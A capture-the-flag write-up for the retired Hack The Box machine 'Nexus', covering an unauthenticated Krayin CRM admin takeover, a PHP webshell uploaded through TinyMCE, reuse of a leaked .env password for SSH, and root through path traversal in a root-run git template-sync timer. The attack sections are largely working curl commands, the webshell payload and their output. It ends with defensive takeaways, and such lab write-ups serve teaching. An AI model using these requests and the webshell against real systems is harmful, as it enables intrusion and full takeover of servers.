Hack The Box - Nexus
Nexus — HTB Writeup (Linux, Easy)
Retired HackTheBox machine. Solved via the intended vulnerability chain, demonstrated with modern tooling. Written to teach.
Machine: Nexus · #948 · Linux · Easy · 20 pts
Released: 2026-06-23 · Maker: 7u9y · https://app.hackthebox.com/machines/948
Target: 10.129.234.54 (nexus.htb, billing.nexus.htb, git.nexus.htb)

Overview
Nexus is an Easy-difficulty Linux box built around a self-hosted Krayin CRM. It is a source-audit machine in a nearly literal sense: every hop hands you a file you get to read, and the final RCE is a traversal inside an unassuming systemd timer. The chain:
- Vhost + repo discovery. Port 80 is nginx with name-based vhosts; the
corporate page leaks a
j.matthew@nexus.htb"hiring manager" contact and the OAuth/CRM links revealbilling.nexus.htb. Agitea.nexus.htbhost header 302s home — Gitea is localhost-only, listening on127.0.0.1:3000. - CVE-2026-38526 — Krayin CRM installer auth bypass. The CRM still ships
an
install/API.POST /install/api/admin-config-setupis guarded by a middleware that only checks for theX-Requested-With: XMLHttpRequestheader (an AJAX detection shortcut, not authentication). One unauthenticated POST overwrites the admin row with credentials we choose. - RCE via TinyMCE upload. Admin session in hand,
POST /admin/tinymce/uploadacceptedfilename=shell.php;type=image/jpegand returned{"location":".../storage/tinymce/<hash>.php"}→ webshell as www-data. - Credential reuse to
jones. The CRM.env(/var/www/krayin/.env) carriesDB_PASSWORD=y27xb3ha!!74GbR; the box has a local userjoneswhose local password is that same DB password. SSH asjones→ user flag. - Root via
template-sync.py.jonesruns a systemd timergitea-template-sync.timer(every minute, root) around/etc/gitea/template-sync.py. The script stages templates from repos usingos.path.join(stage_path, filepath)wherefilepathcomes straight out ofgit ls-treeoutput — no normalization, no..filter. We craft a git tree object whose filename contains../../../../../root/.ssh/authorized_keysand push it tojones/ssh— the timer copies our key into root'sauthorized_keyson its next tick.
The teaching moment: two different identity-trusting systems (Laravel's AJAX
middleware, and os.path.join trusting ls-tree names) both become
takeover primitives because they accept attacker-shaped input as authoritative.
Recon
$ nmap -sC -sV 10.129.234.54 -oN recon/nmap_fresh.nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
$ grep -q nexus.htb /etc/hosts || echo "10.129.234.54 nexus.htb billing.nexus.htb git.nexus.htb gitea.nexus.htb" | sudo tee -a /etc/hosts
The main site is a corporate marketing page ("Nexus Energy Authority") with
mailto:careers@nexus.htb / mailto:j.matthew@nexus.htb in the careers
section — the modal's openJobModal() apply-block is where the leaked
identity comes from.
$ curl -s -H 'Host: billing.nexus.htb' http://10.129.234.54/admin/login # Krayin CRM login, CSRF'd session
$ curl -s -H 'Host: gitea.nexus.htb' http://10.129.234.54/ -i # 302 → nexus.htb home (vhost exists, no content externally)
Gitea itself is not reachable externally — it binds 127.0.0.1:3000 — a
detail that matters the moment you have a webshell (step 4).
Foothold — CVE-2026-38526 → admin takeover
Krayin CRM's "install API" is still on disk post-install. Its helper route
/install/api/admin-config-setup is protected by a middleware that checks
the AJAX header — a client-supplied, client-trusted value:
$ curl -s -H 'Host: billing.nexus.htb' -H 'X-Requested-With: XMLHttpRequest' \
-X POST http://10.129.234.54/install/api/admin-config-setup \
-d 'admin=attacker&email=attacker@evil.com&password=Password123' -i
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
1 # <- the admin row was replaced

Now log in with our credentials at /admin/login — the CRM admin dashboard
is ours. The session is Bearer/cookie standard; the dashboard's TinyMCE
file-upload endpoint takes any file and keeps its filename:
$ curl -s -b token -H 'Host: billing.nexus.htb' \
-H "X-XSRF-TOKEN: $(python3 -c 'import urllib.parse; print(urllib.parse.unquote(open("/tmp/xsrf_token.txt").read().strip()))')" \
-X POST http://10.129.234.54/admin/tinymce/upload \
-F 'file=@-;filename=shell.php;type=image/jpeg' <<< '<?php system($_GET["cmd"]); ?>' -i | tail -2
{"location":"http://billing.nexus.htb/storage/tinymce/0cfc01d07ed482a3b0eb2203c2a34b4b.php"}
$ curl -s -H 'Host: billing.nexus.htb' \
"http://10.129.234.54/storage/tinymce/0cfc01d07ed482a3b0eb2203c2a34b4b.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The X-XSRF-TOKEN header must be the URL-decoded Laravel cookie value —
the encoded one gets rejected (419 Page Expired otherwise).
Lateral — CRM .env password reuse → SSH as jones
Through the webshell:
$ ...webshell?cmd=cat+/var/www/krayin/.env
DB_PASSWORD=y27xb3ha!!74GbR # redacted in loot/ — reuse value
$ ...webshell?cmd=cat+/etc/passwd | grep -i jones
jones:x:1000:1000::/home/jones:/bin/bash
The same password is jones' local login:
$ sshpass -f loot/.env-password ssh jones@10.129.234.54 'id; cat /home/jones/user.txt' # 🏁 user.txt
uid=1000(jones) gid=1000(jones) groups=1000(jones)
Privilege Escalation — template-sync traversal as root
Inside the box, Gitea is a real systemd-managed service plus a one-minute
template-sync timer that runs as root:
$ systemctl cat gitea-template-sync.timer
[Timer]
OnBootSec=1min
OnUnitActiveSec=1min
$ systemctl cat gitea-template-sync.service
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
/etc/gitea/template-sync.py (as jones):
STAGING_DIR = "/home/git/template-staging"
stage_path = os.path.join(STAGING_DIR, owner, name)
target = os.path.join(stage_path, filepath) # filepath from git ls-tree, no sanitization
There is no validation on filepath — os.path.join happily keeps ..
segments. So a repo whose tree entry carries a traversal name gets copied
mapped through that path. git CLI refuses to push such a tree, but we
can craft the objects directly (the helper exploit/build_payload.py writes
blob/tree/commit objects into /tmp/git-payload/.git/objects/, then
exploit/push_payload.py transfers them to jones/ssh via the Gitea API):
filepath = "../../../../../root/.ssh/authorized_keys"

$ python3 exploit/build_payload.py # writes raw objects, prints the tree SHA
$ python3 exploit/push_payload.py # pushes our crafted tree to jones/ssh
$ sleep 65 && sshpass -f loot/.env-password ssh jones@10.129.234.54 \
'tail -10 /var/log/template-sync.log'
syncing jones/ssh: ../../../../../root/.ssh/authorized_keys -> done
$ ssh -i /tmp/root_key root@10.129.234.54 'id'
uid=0(root) gid=0(root) groups=0(root) # root flag read, loot/root.txt
Flags
🏁 user.txt: d0a74ea9c2e9b853d98329c6da999dfa (in loot/user.txt)
🏁 root.txt: 14d9cbc0ce9d3461eefe36778a6860c5 (in loot/root.txt)
Modern Takeaways
- AJAX-header "auth" is middleware theater.
X-Requested-Withis client-controlled; a middleware that treats a request as trusted because a JavaScript convention is present is CVE-material — every install/setup route deserves an actual check, or better, removal after install. - TinyMCE upload without an extension whitelist is a webshell. It rides
in with a spoofed content-type; the server only ever checks
is_upload. - A DB password and a login password should never share sentences,
— the classic
.envreuse pays off exactly like previous boxes. os.path.joinis not a sanitizer. Anything that joins attacker-shaped names (from a repo tree, an archive, a JSON field) with a staging root needs explicit normalization and prefix-checking, plus a traversal test in CI. It is the same pattern as "tar without strip-components," in Python.git ls-treeoutput is data, not authority. Any pipeline that treats repo paths as filesystem paths inherits this bug. Prefergit worktrees in a sandbox/tempdir andrealpath-checked copies.
Files
recon/— nmap, feroxbuster, cve evidence, webshell proof (all secret-free).exploit/—build_payload.py,push_payload.py(raw git-object crafting; contains no embedded secrets — Gitea creds come fromloot/at runtime).loot/—user.txt,root.txt(gitignored, mode 0600, not submitted).screenshots/— 3 terminal PNGs (secret-free).